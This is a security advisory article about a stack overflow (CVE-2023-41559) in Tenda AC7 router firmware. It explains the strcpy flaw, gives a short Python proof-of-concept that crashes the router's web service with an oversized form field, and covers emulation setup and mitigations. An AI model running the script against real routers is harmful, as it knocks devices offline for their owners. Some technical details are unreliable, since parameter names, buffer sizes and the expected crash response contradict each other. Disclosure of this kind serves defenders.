A newly disclosed stack overflow vulnerability (CVE-2023-41559) in Tenda AC7 routers running firmware V15.03.06.44 enables remote attackers to execute arbitrary code or trigger denial-of-service (DoS) conditions.
This flaw stems from improper input validation in the formSetFirewallCfg function, exposing millions of devices to potential exploitation.
Technical Analysis
Vulnerability Mechanism
The vulnerability occurs when user-supplied data from the firewall a parameter is copied unchecked into a fixed-size buffer (firewall_buf) via strcpy.
By sending a payload exceeding 1,000 bytes, attackers overflow the stack, corrupting critical memory structures like return addresses and enabling control flow hijacking:
c// Vulnerable code snippet (pseudo-code)
void formSetFirewallCfg() {
char firewall_buf[256];
strcpy(firewall_buf, firewall_value); // No bounds checking
}
Exploitation Requirements
- Firmware Version: V15.03.06.44 (unpatched)
- Network Access: Local or remote access to the router’s web interface (port 80/443)
- Attack Vector: HTTP POST request to
/goform/SetFirewallCfg
Proof-of-Concept (PoC)
The following Python script demonstrates a DoS attack by triggering the stack overflow:
pythonimport requests
url = "http://192.168.0.1/goform/SetFirewallCfg"
headers = {"Host": "192.168.0.1", "Content-Type": "application/x-www-form-urlencoded"}
payload = {"firewallEn": "a" * 1000} # Overflow trigger
response = requests.post(url, headers=headers, data=payload)
print(f"Server response: {response.status_code}") # Expected crash (500 error)
Execution crashes the httpd service, rendering the router unresponsive.
Risk Assessment
| Risk Factor | Details |
|---|---|
| Remote Code Execution | Overwritten return addresses allow shellcode execution via crafted payloads. |
| Denial-of-Service (DoS) | Buffer overflow crashes critical services, requiring hardware reset. |
| Firmware Version Spread | Vulnerable firmware (V15.03.06.44) widely deployed across AC7 routers. |
| Lack of Input Validation | Absence of bounds checks (strcpy misuse) enables trivial exploitation. |
Replication Environment Setup
To simulate the vulnerability in Ubuntu 20.04:
- Network Bridge Configuration bash
apt install uml-utilities bridge-utils brctl addbr br0 ifconfig br0 192.168.0.1/24 brctl addif br0 ens33 # Attach physical interface - Emulation with QEMU
Use a patchedhttpdbinary to bypass environment checks: bashsudo qemu-mipsel-static -L . ./bin/httpd # GitHub patched binary[20]
Mitigation Recommendations
- Firmware Updates: Upgrade to patched versions via Tenda’s official portal.
- Input Validation: Replace
strcpywithstrncpyand implement length checks. - Network Segmentation: Isolate routers from untrusted networks to limit attack surfaces.
This vulnerability underscores the critical need for robust input sanitization in IoT device firmware.
Administrators should prioritize patching and monitor for anomalous traffic patterns.
Also Read:
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